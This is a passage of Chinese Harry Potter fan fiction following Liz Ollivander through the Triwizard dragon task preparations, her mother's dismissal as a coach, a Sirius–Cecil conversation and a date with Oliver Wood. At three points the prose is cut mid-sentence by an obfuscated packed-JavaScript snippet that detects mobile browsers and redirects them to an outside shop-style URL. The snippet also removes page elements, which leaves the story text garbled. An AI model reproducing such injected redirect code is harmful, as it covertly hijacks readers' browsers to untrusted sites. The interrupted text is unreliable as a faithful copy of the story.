“我完全不认为这奇怪,”秋深吸一口气,“奇怪的是这样想的你,玛丽埃塔,你不应该这样想塞德,更不应该这样指责莉兹。” “不是为什么呀,我在帮你说话……”玛丽埃塔变成了最委屈的人。 这一下角色转换,需要扮演和事佬角色的倒成了莉兹,她听着形影不离的两个姑娘从“我对你最好你为什么要帮她”吵到了“你根本就不是我最好的朋友”,她猛然发现很多事情并不用太讲道理,不如说人的情绪到了需要发泄的临界点时就是毫无逻辑的,于是站在一旁的她就这么笑了出来。 一直安静的帕德玛被吓得更厉害了,怎么办,应不应该出去找七年级的学生来帮忙。 “你怎么又笑了?”玛丽埃塔停下来看向她。 “你们不应该站在同一阵线对付我吗,突然就吵起来了。”莉兹笑着说。 明白三个人都出糗了的秋最先涨红了脸,她主动开口道了歉:“对不起……” “我才应该说对不起,我不该这么说莉兹和迪戈里。”玛丽埃塔也低了头。 “抱歉,我也有错。”莉兹知道自己的态度过于傲慢了,她没有任何立场教育秋如何对待朋友,更没有立场总是站在高处俯视全世界,不过她还没有坦率到能在这里说出这些想法。 “所以……”秋小心翼翼开口,“算是和好了吗?” “但是我还是要坦白一件事,”莉兹看了一眼秋,又看了一眼玛丽埃塔,“我和塞德打了赌,谁被选上了另一个人要无条件做军师,我们希望霍格沃茨拿下冠军。” “梅林啊这太棒了呀,”玛丽埃塔的情绪可真是如一阵风,“这下我们不就像是又多了一个参赛选手吗,我们有三人参赛了,肯定会赢的!” 提到“三人”时她迟疑了一下,继续说:“总不能让那个小孩出风头吧。” 此言一出莉兹便知道,想要让玛丽埃塔管住她自己那张嘴大概需要很久很久的时间。 于是接下来的日子里,作为一个合格的军师,莉兹首先给塞德里克的魔杖做了一次全方位的检查与保养,毕竟是奥利凡德的产品,她记得这根魔杖,那大概是她收到霍格沃茨录取通知书的第二天,陆陆续续有许多和她一样的新生来店里购买人生的第一根魔杖。她当时趴在梯子上一个个翻着魔杖盒子,因为老奥利凡德想让她自己找出最适合她的那一根。 翻了一上午,到了午餐时间阿莫斯·迪戈里先生带着儿子推开了店门,她悄悄跳下梯子探出脑袋,看着爷爷把一根又一根魔杖递给那个小男孩,每试验一个咒语都把店里整得一团乱,正要去拿第四根时,莉兹觉得角落里好像有个盒子在活动着,隐隐约约发出响声,可惜她听不懂在说什么。 老奥利凡德便走过来拿出了那根,十二又四分之一英寸、由梣木制成的魔杖,杖芯是雄性独角兽尾巴的毛,看来就是这个了,男孩露出了笑容,也对着角落里的莉兹笑了笑。 “就是攻击力弱了点,”她用软布擦了擦魔杖递还给塞德里克,“不知道够不够对付呢。” “对付什么?”塞德里克接过魔杖说道。 “你之前说克劳奇先生告诉你们第一个项目是保密的,”莉兹从身旁的椅子上拿过两本厚厚的书,《饲养火龙的一百种窍门》和《烧伤处理技巧》,哐当一声摆到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487840|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞德里克面前,这一声响差点吸引了在图书馆里到处走来走去的平斯夫人,她便压低了声音继续说,“这下你明白了吧。” “我们要对付龙?”塞德里克露出了一丝惊讶,接着又重复了一遍,“等等,你是说……龙?”他伸手比划了两下,试图表示出一种庞然大物的样子。 “你怎么理解的,答案就是什么样的。”莉兹没有点头,只是默认,“我在书上看到了一个很有效的咒语,只要能一击即中,火龙就能晕倒,不过……” “不过什么?”塞德里克问出口就明白了似的自己回答说,“哦,魔力不够。” “倒也不是,失败率太高了,”莉兹解释说,“我先前用炸尾螺试过……”见塞德里克瞪大了眼睛,“我事后有好好和海格教授道歉的,而且炸尾螺魔抗比得上巨怪了,好了,这不是重点,总之是第一次我没有打中,第二次就已经使不出相同的咒语了。” “你觉得声东击西怎么样?”塞德里克低头沉思了一会儿,把书翻开到幼年火龙笼中生活的章节,“你看这里,火龙喜欢追逐活生生的猎物。” “你变形咒语很厉害吗?”莉兹反问。 “比你厉害一点。”塞德里克自信地一笑,啪一下合上书,一只不起眼的小瓢虫被弹飞。 对面的莉兹耸耸肩,摊开双手回道:“那你自己搞定好了,完美先生迪戈里。” “这么高级的变形咒语我一个人可练不来,”塞德里克真是能屈能伸一把好手,说着话的时候他好像看到了什么,对着莉兹勾了勾手指小声说,“你带那封信了吗?” “怎么了?”莉兹刚要转头。 “别动,”塞德里克连忙提醒,“克鲁姆已经在那里一个人坐着一动不动半个多小时了,我觉得是你的好机会。” “你怎么又操心上我的任务了,普德米尔签了克鲁姆遭殃的不是你们龙卷风队吗?”莉兹一脸无奈。 “没关系,我现在一号主队是普德米尔了,誓死追随奥利弗。”塞德里克指着她身后,“快去快去,一会儿又有女生来了。” “什么感天动地的兄弟情。”莉兹摇了摇头抓过信封站起身。 还没走近几步,她才注意到那张大桌子的另一角,刚好被暑假挡住的位置坐着一个留着一头蓬松卷发的姑娘,克鲁姆时不时便向那边看两眼,然后又继续对付自己面前那本根本就没有翻到下一页的书。犹豫了几秒,一只小虫子从她眼前飞过,莉兹拿着信封扇了两下,决定还是等下一次好吧,却没想到听见了自己妈妈的名字。 “米歇尔……?”克鲁姆浓重的口音把这个名字念得有点陌生。 莉兹只好硬着头皮上去介绍自己:“你好,我是莉兹·奥利凡德,米歇尔是我妈妈。” “你参加过普德米尔青训?”克鲁姆的记忆力真是令人意外的优秀。 “是的,去年和前年,”莉兹点了点头,想着速战速决拿出了那份信,“如果你愿意的话……” 克鲁姆立刻紧张地看了一眼那个女孩的反应,然后在看到信封上普德米尔邮戳时松了一口气:“谢谢,我会认真看的。” “那打扰了。”莉兹迅速逃回自己的桌前,对面的塞德里克正低着头,肩膀颤抖,很明显就是在笑话自己。 她把演算的纸团成球精准砸在他额头上,莉兹就差再送一个国际友好手势给他了。 53. 是的我们在约会 自从前两日收到那封来自霍格沃茨的信件后,西里斯的状态就相当不好,他太惦记哈利的事情,可是塞西尔长时间不在家,他无处打听任何相关的消息。再说他现在又只能以一条狗的样子在公寓的楼上楼下来回转悠,房东太太总是把狗食盆放在一楼的玄关处,他听到呼唤便回装出乖巧的模样奔下来,绕着她的脚边转两圈,然后才开始吃那些味道还不错的麻瓜狗饼干。 至少比阿兹卡班每天发霉的配餐好多了,而且他实在吃腻了塞西尔摆在碗柜里那些咬不动的法棍。 这日傍晚他总算是等到了风尘仆仆归来的塞西尔,女人看起来很是憔悴,不知是工作的事情让她陷入了烦恼,还是她又开始酗酒了。总而言之,她一推开门就将斗篷扔到了地上,整个人埋进了软绵绵的床垫上一言不发。 跟着她进来的还有那只很有脾气的猫头鹰米拉尼尔,西里斯拉开抽屉摸出一小块芝士碎,然后顺利地换下了它送来的一封信。他见到信封上面用秀气的字体写着“塞西尔”,西里斯识相地放下,并低声拜托它帮忙寄走一小卷自己刚写完的羊皮纸。 窗户被打开,一阵冷风扫过趴在床上的塞西尔的后颈,她打了个激灵坐起身,皱起眉强调说:“你怎么这点耐心都没有,这可不是我或者莉兹的猫头鹰。” “我想我应该很有耐心了,你三天前就应该回来帮我寄信了。”西里斯拉开椅子坐下,“还是说,你对魔法部有如此忠心?” “求求你快闭上嘴吧,我快呕吐了,”塞西尔做出反胃的动作,“不是为了你那位教子,我哪里用得着来回跑,况且既然邓布利多教授都那么担心的话,直接要求学生弃权难道很难吗?” “所以是对邓布利多效忠……”西里斯再次点点头,抬头时注意到她的眼神,他投降似的举起双手,“很抱歉,就当我是胡言乱语。” 大约是因为这段时间房东太太的照料过于贴心,之前西里斯·布莱克身上那些被跳蚤和老鼠咬过的疹子与疤痕都基本痊愈了,剃掉的头发也很快留长了,虽说只能穿着那些塞西尔伪装出行时的男装,但好看的脸蛋是一点都藏不住了。而此时的塞西尔原本还想由着自己因为疲惫而压不下的怒气多抱怨两句,无意上下打量了男人两眼,想说的难听话一句句都给咽回了肚子里,难怪都说可怜的男人可怕,很显然可怜的漂亮男人更可怕。 之后两个人又闲聊了几句卢平最近在做些什么,塞西尔就倒了杯酒接着拆开了莉兹的信,出于一些原因,她实在不能对西里斯透露太多阿不思·邓布利多交待的事情,比如留意斯内普与卡卡洛夫的关系,再比如继续调查伯莎·乔金斯失踪的真实原因,凡此种种都有可能激起西里斯对教子过度的保护欲,稍不留神就能暴露身份,更加糟糕的是暴露她与邓布利多的关系。 她看着小姑娘在信里旁敲侧击地询问熄灭咒的技巧,忍不住笑出了声,一开始信誓旦旦说对这件事绝无兴趣的莉兹,这会儿倒是为了朋友特地写信来“作弊”,真是令人吃惊的变化。不过她竟然能查到对付火龙有专门的熄灭咒,塞西尔赞许地点着头,而后写下了回信。 当天霍格沃茨的晚餐时间,白日里被邀请来替勇士们做采访的《预言家日报》记者丽塔·斯基特,还有帮忙检查魔杖的老奥利凡德先生都坐在教职工的桌子旁。 德姆斯特朗的卡卡洛夫与丽塔相谈甚欢,他一个劲儿地讲述着威克多尔·克鲁姆在学校与联赛时的表现是如何亮眼,还说最近连普德米尔都想要高薪挖走他,而丽塔推了推鼻梁上那副花哨的金丝眼镜,看起来像是对此了如指掌的模样。而弗立维教授正和老奥利凡德先生谈论着不同的魔杖材料与咒语之间的微妙联系,他们似乎认为这是个很有意思的话题,差一点要拉上在拉文克劳桌子最边上一个人吃饭的莉兹加入。 若是放在平时,莉兹说什么也得参与进去,但今天却有些不同,她觉得自己无时无刻被什么人关注着,让她头皮发麻、脊背发凉,连食欲都快消失了。她几次抬头都留意到了丽塔的视线,按理来说她早已习惯了被记者盯上,可那也仅仅是在魁地奇速报的范围内,巫师界发行最广的《预言家日报》不过留了很小的一个版面给文娱体育项目,自己怎么也不可能是被关注的焦点。 勉强吃完碗里剩下的炖菜,她准备带着没写完的变形课作业去趟图书馆,顺便再给塞德里克的第一关想想办法,刚站起来就有一只猫头鹰飞过了礼堂上空,她抬头看了看,那是伍德的米拉尼尔,他脚上还绑着一小卷羊皮纸。但是米拉尼尔没有和往常一样停在她的面前熟练地讨要吃的东西,而是在格兰芬多桌子附近飞了一圈后又飞出了礼堂,似乎在找什么人。 莉兹疑惑地抱起书本小跑着追了出去,只见米拉尼尔往城堡一侧的格兰芬多塔楼飞了过去,这可真少见,伍德还有其他同学院的朋友。结果前一个疑问还没被解决,晚上睡觉前她就收到了伍德真正的来信,那是普德米尔联队公用的猫头鹰,爪子上烙着队徽,她训练时见过几次。 莉兹 下周的客场比赛的场地离霍格莫德只有二十英里,我们在那个周六可以见一面吗,就在三把扫帚,到时候上午最后一次合训结束,直到晚上七点比赛才会开始。 其实我更希望你晚上一起来看比赛,但霍格沃茨有门禁,这太冒险了。我的队友迈克勒把我的份额拿去留给了女友还有家人,他说他要在那天求婚,听说如果是已婚的选手的话,俱乐部会包下所有的家属票,听起来很不错,你觉得呢。 塞德说克鲁姆要来普德米尔,这真的能实现吗,转会费的金额似乎一直谈不拢,而且最近米歇尔教练和普德米尔高层的关系有些奇怪,我们经常听见办公室里有争吵的声音。 我还知道她推荐你进了英格兰青训队,哦,我知道你对这些事情不感兴趣……(划掉的句子) 期待早一日见到你。 每天都在想你的奥利弗 草草读完整封信,莉兹从枕头边抽出魔杖,无声地念出“荧光闪烁”,将信纸凑到点点光源之前,试图看清被伍德划掉的那几行字,可是除了能看到青训队的字母以外,其他的就什么也没有了。她轻声叹气,实际上她很清楚米歇尔在国家队的地位也没有外界认为的那般稳固,自己也不全是因为走后门才拿到了邀请,只是她更明白一个人不能因为顾虑他人而去做自己本不想做的事情,放弃这个机会到底会给米歇尔带来什么影响,莉兹一点都不想去考虑。 至于高层与米歇尔的矛盾似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她倒不是不好意思将自己和伍德交往的事情告诉给寝室的其他人,只是莉兹实在想不出自己和同龄人谈论此类话题的模样,那一定很怪异,所以只要不是非要提起,她绝对不会主动说到这件事,就好像她从来都做不到像伍德一样在落款中加上“想你”这样的词语,这和惯用的信件落款“爱你的某某”太不同了,那是真的有指向性的内容,毕竟对她来说表达感情太困难了。 没过多久,丽塔对勇士们的采访内容刊登了,不出意料,与波特有关的篇幅是最多的,塞德里克只在边边角角里看到了几句说的是他,可都在讲他俊俏的长相和捏造出的风流事迹,通篇读完他们俩看起来一个是霍格沃茨的花花公子,一个是多愁伤感的悲惨男孩。 “其中不乏一些明星选手的后代?”莉兹皱起眉头,把《预言家日报》还给塞德里克,“她非要提着一句是准备恶心谁呢?”说着又摊开魁地奇速报,瞥了一眼积分榜排名,然后就看到了记者塔尔的名字,放在了首页的大标题之后。 “什么,米歇尔下课?”塞德里克与后排的戴维斯同时叫出声来。 “别看我,我什么也不知道。”莉兹瞪大了眼睛,刚要低头看文章内容,斯内普一挥斗篷,关上了教室的门,站到了所有学生跟前,他冷冷看了一眼那些报纸,清了清嗓子的功夫,就全都没收了上来。 “各位‘社会名流’,这里是魔药学课堂”斯内普说得一字一顿,“把书翻到一百八十六页。” 塞德里克和莉兹对视了一下,接着长舒一口气,翻开了厚厚的教材。 54. 当然会在这里毕业的 很显然,斯内普没收报纸的动作实在是太过迅速了,不知道这是不是因为三强争霸赛所以学生们经常在课前围绕着那些访谈喋喋不休的讨论。总而言之,过目不忘的莉兹都没来得及看完头版的第一段内容,以至于下课后她压根没办法应付塞德里克与戴维斯那好奇的目光,她心想着安吉丽娜大概也订阅了魁地奇速报,准备一会儿若是碰见她就借来再看看。 “梅林啊,这可算是大新闻了……” 巧的是莉兹刚走进礼堂,就见到格兰芬多的桌子边几个人围着读同一份报纸,最边上的弗雷德第一个看到缓缓走来的莉兹,他拍了拍身旁双胞胎兄弟的肩膀,乔治匆忙抬头看过去,而李·乔丹则是直接喊出了声。 “竟然是同时卸任国家队主教练和普德米尔联队顾问,还要转去西班牙的俱乐部,这简直就是被逐出英格兰……” 安吉丽娜立刻不满地回头瞪了乔丹一眼,她也在此时与莉兹对上了视线,他们几个人就这样尴尬地面面相觑了一阵子,直到塞德里克拿着另一份报纸追上莉兹,他的表情略显担忧,低声询问道:“你没关系吗?” “米歇尔女士的事情会让我有什么关系,我只是什么都不知道而已。”莉兹先是停住脚步,深吸了一口气,没有伸手接塞德里克手里的魁地奇速报,而是向前坐到了安吉丽娜旁边,对方主动让出了一些位置,好让她能读完头版的每个字。 原本站着的乔治挨着她也坐下,弗雷德则推搡了一把刚刚口不择言的乔丹,拉着安吉丽娜三个人凑在一起小声嘀咕着,塞德里克挠了挠后脑勺,发现秋在后面拉文克劳的桌子那边静静看着这里,她看起来似乎也知道了米歇尔下课的消息,连平日里总是当着莉兹面米歇尔二代长米歇尔二代短的戴维斯都沉默了。 其实功勋教练被队伍抛弃的事例都不算罕见,米歇尔执教多年并未有太多亮眼的成绩,只能被称作是无功无过,因此莉兹对妈妈的处境自认是了解得很清楚,可她想不明白,今年世界杯的惨败若是导火索的话,那也应该在这个赛季正式开始前下课。退一万步事实已经如此,她自然不会再去在意米歇尔的去留,让整件事变得令人难以接受的是那位记者的叙述。塔尔在文章中添油加醋地讲了西班牙某俱乐部对米歇尔·奥利凡德的招揽过程,将她离开普德米尔联队的绝大部分原因都引到了那上头,甚至还写到英格兰队与普德米尔其实都有意重新谈判,只是米歇尔去意已决。 “据悉F俱乐部将在米歇尔原先的合同年薪基础上增加一笔额外奖励金,这将让她成为全欧洲年纪最小薪资最高的魁地奇教练,曾经野心勃勃要带领英格兰走向巅峰的女性,终究屈服于利益……” 莉兹看到后面忍不住念出了声,她越是读下去越是觉得荒诞,语气里伴着点笑意,她冷哼了两声抬头看了乔治一下,又转头看向别处,最后把报纸翻面拍在了桌上,斯莱特林魁地奇校队的几个男生大摇大摆从她面前经过,嘴里还毫不收敛地说着“叛徒米歇尔”。 乔治带头站起身,呵斥他们把嘴巴放干净一点,弗雷德和安吉丽娜一起出声维护莉兹,哪怕是好脾气的塞德里克与秋也都朝他们那边看了过去,几个人自知没趣,转头便骂骂咧咧回到了斯莱特林的桌旁。莉兹知道自己这会儿也许应该和朋友们说声谢谢,但她的心思不在这里,她在回忆上周伍德在信里提过妈妈与俱乐部的争吵,除此之外她还在思考另一件事,假如米歇尔去诺坎普的事尘埃落定,她会不会也需要转学去布斯巴顿,这可能是她最不愿意面对的。* “你觉得她还好吗?”安吉丽娜伸手在她眼前晃了晃。 “我猜小古板女士是又有什么惊为天人的主意了。”弗雷德双手环抱点点头。 “莉兹,莉兹……”乔治侧过身凑近用手指轻轻一点她紧皱的眉心,叫到第三遍时才得到了回应。 “不好意思,我……”莉兹回过神来,“我去寄封信。”她攥着书包跑出礼堂,往着猫头鹰棚屋的方向加快了脚步。 在猫头鹰棚屋前,莉兹迎着冷风趴在台阶上,凉意钻进她的衣领激得她的手指僵硬,整个人都在发抖,她匆匆写好两封便签,一封让班克带去了圣芒戈医院,一封随意借了霍格沃茨的猫头鹰送去了普德米尔联队主场,首先她要和爸爸确认自己不会转学的消息,其次她要和伍德确认那些妈妈和高层争吵的内容,毕竟想要邀请克鲁姆转会的事情不是假的,米歇尔既然想努力促成这件事,就证明她本意是想留下的。 看着两只猫头鹰飞离城堡,莉兹像是松了口气似的瘫坐下来,冬令时的苏格兰高地眨眼间便从傍晚掉进了不见五指的黑暗里,迟来的许多情绪在这一刻才找上门,从小她就不喜欢别人把那些投向米歇尔的目光倾倒在自己身上,似乎只是因为接近她比接近妈妈更容易,所以大家常常把她当作是一种替代品、一种媒介。她其实很想对着他们大喊:“又不是我要去西班牙当教练!”但更多的,她不愿承认自己不想看到妈妈总是成为被指责的一方,比赛的输赢、选手的去留,哪怕是球场的亏损,这些好像都能联系到米歇尔身上,这样难道是对的吗。 “嘿,你还在这儿呢?” 一件宽大的巫师袍从头顶盖下来,莉兹在柔软的布料中扑腾了好一会儿把脑袋钻了出来,举着魔杖的乔治点燃一团闪着光的焰火,飘浮在台阶上,他歪着头面带笑容,同她打了个招呼。 “谢谢,”潦草裹上了巫师袍准备站起来,莉兹一时间不知该说些什么,“刚刚在礼堂也是,谢谢。” “啊,那不算什么,小古板女士真是客气。”乔治向她伸出手,“最近晚上可太冷了。” 婉拒了他的帮助,莉兹起身掸了掸身上的灰,还要把巫师袍脱下来,乔治却上前提起帽子套在了她的头上,然后拍拍她的头顶又笑了笑说:“小古板女士会在霍格沃茨读到最后一年吧。” 猜到应该会有人好奇,也会有人嘲讽,可能还会有人来安慰,不 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爸爸和伍德的回信都在隔天一早送到了,幸好大家还有一个三强争霸赛可以作为谈资,随着“悲惨男孩”哈利·波特的登场,“叛徒米歇尔”的女儿也就能顺利地退到舞台边缘。莉兹从盘子里摸了一块黄油饼干递给米拉尼尔,拆开了伍德的信,他对米歇尔要离开的事情同样表示震惊,想来也是,初来乍到的新人又从何得知教练与高层的矛盾,只是从他的话来看,塔尔的报道确实是真的,至少离开普德米尔这件事是被确定的。而罗里的信就更让她安心了,因为他们都认为霍格沃茨是最值得信任的学校,所以就算之后罗里在巴塞罗那也找到治疗师的工作一起搬走,他们也希望莉兹在这里毕业。 长舒一口气,她的神情逐渐变得轻松,三两口吃完剩下的牛奶燕麦,莉兹把信件塞进课本里,对着仍然一脸关切的秋比了一个“OK”的手势,然后便准备去上今天的早课了,出门时正好与韦斯莱双胞胎兄弟打了个照面,与乔治擦肩而过时她说道:“你可要坚持到七年级了。” 乔治在门前站定转过身,望着女孩的背影哈哈笑出声,不顾身旁的兄弟疑惑的眼神,又笑了两下说:“要不我们明年再退学吧。” “如果不是巴格曼那个狡猾的东西,我们今年就不用来上学了……”弗雷德压根没理睬他话里的意思,自顾自说着。 在去算数占卜课教室的半路上,莉兹碰见了也要一起上课的塞德里克,对方应该也是从伍德那里得到了确切的消息,所以不再像昨日那般面露担忧,还说课后要一起再练几次熄灭咒。莉兹爽快了答应了他,顺便在心里想着自己总算能腾出点心思开始期待周六的约会了。 她是想见他的,这是不会说出口的实话。 *布斯巴顿位于法国南部的比利牛斯山,主要招收法国的学生,也招收西班牙、葡萄牙、卢森堡、比利时、荷兰等地的巫师。 55. 哪些人算是“我们” 深夜时分壁炉里的柴火燃烧着,时不时发出噼里啪啦的声响炸开一些火星子,西里斯·布莱克在耐心等待着,当墙上挂钟的指针指向数字一的时候,便是他与教子约定好的时间。他庆幸今日塞西尔又被什么公事牵绊住了不能回来,如此才能偷偷点燃她房间里不常使用的壁炉,用的还是塞西尔扔在角落里的一根废旧魔杖,那实在不太趁手,比如他只是想要一点火苗,谁知一个咒语念出,差点连窗帘都烧着了。 等待令人烦躁,可能有等待的机会已然令人欣慰。而让西里斯最难以忍受的或许不是被当作重点保护对象暂时困在原地,而是他明知有什么危险正潜伏着,他却不能像塞西尔和莱姆斯一样走出这扇门。好像所有人都有着自己的使命,只有他活在十三年前。 匆匆与哈利说上了几句话,西里斯将自己了解到的所有事情都一股脑儿倒了出来,他也丝毫不顾塞西尔的提醒,把他们对伏地魔的猜测讲给了哈利听,不过却没来得及把熄灭咒说出口。盯着逐渐熄灭的壁炉,他长叹一口气,如果真的可以的话,西里斯倒是希望这会儿在霍格沃茨看守火龙的人是自己,哪怕塞西尔讲过这是件多么辛苦的差事。 拉过一旁的椅子,他正要坐下时,来自房门方向的冰冷视线像是有攻击性的咒语似的,他脊背仿佛被电击一般,整个人打了个冷颤,僵硬地转过身去,对上了女人藏在巫师帽檐后的一双眼睛。 “你还真是不把自己当外人啊,布莱克先生。”塞西尔昂起头来,高跟皮靴踩在地板上,咚、咚、咚,一步一步走近。 “那我要把自己当成人质吗?”西里斯悄悄收起了魔杖。 “非要这么说的话,”塞西尔轻哼一声,“目前我们确实也是这么界定你的。” “‘我们’又是哪些‘我们’,你和莱姆斯?”西里斯坐回椅子上。 “‘我们’的人比你想得要多,”塞西尔微微一笑,“而你只知道我们而已。” 不愿再聊这个话题的西里斯别过脸去,塞西尔则是摘下帽子,伸出手碰了碰他的胳膊:“拿出来吧,小偷狗。” 他抬头眨了眨眼睛,一副“我什么都没做”的表情,直到女人从斗篷另一边的口袋里摸出了一根魔杖来,西里斯瞥了一眼,那并不是塞西尔自己用的那根,末端没有那个奇怪的弧度,只是样式简单的细长条。 “我今天回了趟家,”塞西尔只好强行从他身后抽出自己的旧魔杖,把新的这根塞到了他手里,“这个给你用。” 见男人迟迟不给反应,她摇了摇头说:“哦梅林,你这家伙难道一直就这么难搞吗?” “怎么了?”西里斯反驳。 她抬手指了指地下:“至少在这里,没人要害你,更何况我们又不能真的把你关在这里一辈子,这可是我自己的出租屋。” “所以这次的‘我们’是指?”西里斯松了口气。 “邓布利多。”塞西尔打开碗柜摸出两个杯子,倒了点麦芽威士忌,轻轻一挥手,一个玻璃杯悬在空中缓缓挪到了西里斯眼前,她拿着另一个走过来,两个杯子一碰,发出清脆的响声。 “你以前就很听他的话吗?”西里斯问道。 塞西尔停住了手上的动作,扫了他一眼睛说:“你看我像听话的乖孩子吗?” 西里斯一抬眼,浓密睫毛下的那眼珠子宛若不透明的宝石,深邃得不见底,换是个寻常的姑娘大约他说什么都会全盘接收的,黑色卷发垂下一绺在一旁,侧脸好看得过分。他慢慢地摇了摇头,耸了耸肩继续问:“那何必呢?” “因为只有他相信我,”塞西尔喝了一口酒,放下杯子,“所以我相信他。” “我也相信你啊,你看我都不逃跑。”他笑笑。 脑海里闪过西里斯提及布莱克家人的场景,塞西尔只当自己是什么都没听见,勾起嘴角苦笑了一下没有再说话,过了好一会儿才提醒道:“但是哈利的事情你还是少插手。” 看他一脸的不情愿,塞西尔又一次笑出声:“你看,你根本就不相信我。” “这不是一码事。”西里斯回。 “这对我来说就是一码事。”塞西尔说着倒了第二杯酒,她倚靠在椅背上轻轻闭上了眼,这一天从早到晚的忙碌,她真是累坏了。 昨夜里接到查理·韦斯莱的信,说是匈牙利树蜂龙还是有些水土不服,又闹腾了很长一段时间,希望她能来帮把手,赶到场地时她和其他几个巫师一人站在一角,同时使用了三个昏迷咒才安抚好暴躁的树蜂龙,中间她的手背还被划伤了三道口子。查理邀请她一起到霍格莫德村吃早午餐,感谢她周六都能抽空过来,奈何碰上了霍格沃茨学生们的休息日,三把扫帚里坐满了人,查理碰见了自己的双胞胎弟弟们,他们也主动让塞西尔一起坐过来,可塞西尔看了看这群孩子,最后还是摆了摆手说算了,她去找阿不福思蹭了两块馅饼便一个人回了伦敦。 也没能找到机会和莉兹见上一面,上班时候听库尔特提到米歇尔的事情,她猜自己这位早熟的侄女大约需要有个人听她讲讲心里话。很明显,来也匆匆去也匆匆的塞西尔并没有注意到就在坐着几个韦斯莱的桌子旁边,那张靠着墙的吧台桌,莉兹和一个身材高大的男孩子正在有说有笑,她拿着小叉子切开盘子里的芝士蛋糕,身边的男孩便自然地将自己的那份也推到她跟前。 如果奥利弗·伍德没有三句话里有两句话都和魁地奇联赛有关的话,莉兹觉得自己这时候的心情应该会更好一点,毕竟难得见上一面,要是两个人聊的话题全是普德米尔的新教练,她会觉得很浪费时间。但伍德是个什么样的性格,莉兹也是再清楚不过了,他认真地思考着球队未来的样子其实还挺可爱的。 不好,这种想法可有点危险了。 不知是不是因为莉兹安静地盯着自己的时间太长了,伍德总算是意识到了有些不对劲,他逼着自己与她那双银白色的眼睛对视,周围的嘈杂声全都消失了,耳朵里便全是心脏跳动的声音,胸膛随着呼吸起伏,频率越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487843|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越急促。 “我……我……你,算了我做不到,”伍德低下头去,“别这么看着我了。” “我做什么了吗?”莉兹装作什么都没感觉到一样,弯腰又凑过去,从下向上看着他的脸。 “天呐……”伍德一下弹起来,面颊通红的,可能是因为太久没能这样面对面了,他几乎失去了一切抵御这种眼神的能力。 “也好,这样你就不会再说其他话了,”莉兹平静地吃完一盘蛋糕,又吃起了他的那份,“我只是想两个人这么坐着而已。” 侧过身子悄悄看了她一眼,伍德清了清嗓子坐直身子,伸手用指节擦掉她嘴角的奶油,虽然他几分钟前在想的是如果现在吻她会不会被被她弹脑门。不过显然这个动作也让她在意了,因为莉兹又放下了手里的甜品叉转头看了过来,同时还舔了舔嘴角,用袖子蹭了两下。 “还有吗?”她问。 先前一直在犹豫着伍德留意了一下左右的人,然后迅速地靠近,在她的唇上轻轻一啄,在她还没反应过来的时候笑着回答道:“现在没有了。” “奥利弗……” 她果然狠狠弹了他的额头,但这会儿的奥利弗·伍德却觉得再被弹几下也没关系。 店里人来人往的,又会有多少人注意这个角落呢,或者说伍德还在学校时,他与米歇尔二代的“恋情”便被当作校园绯闻给传开去了,于是这样的互动当然不会令人觉得惊奇,知晓所有内情的塞德里克只会觉得欣慰,而其他的朋友们,大概会想伍德这种魁地奇脑袋能有女朋友才是最稀奇的,不管那位对象是谁。 “嘿,我们要不出去转转?” 弗雷德拉着双胞胎兄弟的袖子,给他使了个眼色,接下来也没有给他任何拒绝的机会,两个人扔下查理和李·乔丹一溜烟消失在了三把扫帚。 好在乔治没有听见弗雷德多说什么,否则他一定会被丢人的情绪影响到而无法正常思考的,他只是拖着他又进了佐科笑话商店,开始对着店里每个道具谈论今后他们自己的店里要售卖些什么更特别的东西。堵在心口的烦闷转眼消散,乔治加入了兄弟的话题,聊得很是起劲。 下午的时候店里腾出了一张空的四人桌,只是伍德必须得去球场进行赛前训练了,他心想着时间真是过得太快了,不舍地弯腰轻轻抱了抱莉兹,转身推开了店门。塞德里克看着幻影移形离开的伍德,俩人甚至都没说上话,他无奈地摇摇头,便邀请莉兹一起坐过来。 在他们俩人对面坐下,秋看起来心情很不错,莉兹猜这是因为她看到了那条新裙子,三个人聊天不可避免提到了几日后三强争霸赛的第一个项目,但出于保密的前提,莉兹和塞德里克只是相视一笑,并未透露任何信息,只说了他们对成功完成任务非常有把握。 “不会有危险吧?”秋担心地问。 “放心,我有奥利凡德教授的指导。”塞德里克很给面子地夸奖道。 “过奖了,迪戈里先生。”莉兹故作客气。 56. 多余的正义感 周一早晨的高级魔咒学课开始后过了十分钟,塞德里克抱着坏掉的书包稍显狼狈地跑进教室,弗立维教授一边笑着说下不为例,一边指着课桌让他赶紧找地方坐下来,今天要学的可是比无声咒更加难以控制的施咒方法。 第二排格兰芬多的几个女生挪了挪椅子,让塞德里克坐到里面的空座上,这动静惹得后排原本在低头研究着什么的韦斯莱双胞胎兄弟俩同时轻哼了一声,而打了上课铃之后一直在走神的莉兹也回过神来,在一旁的同学提醒下回答了一个关于无杖魔法的问题。 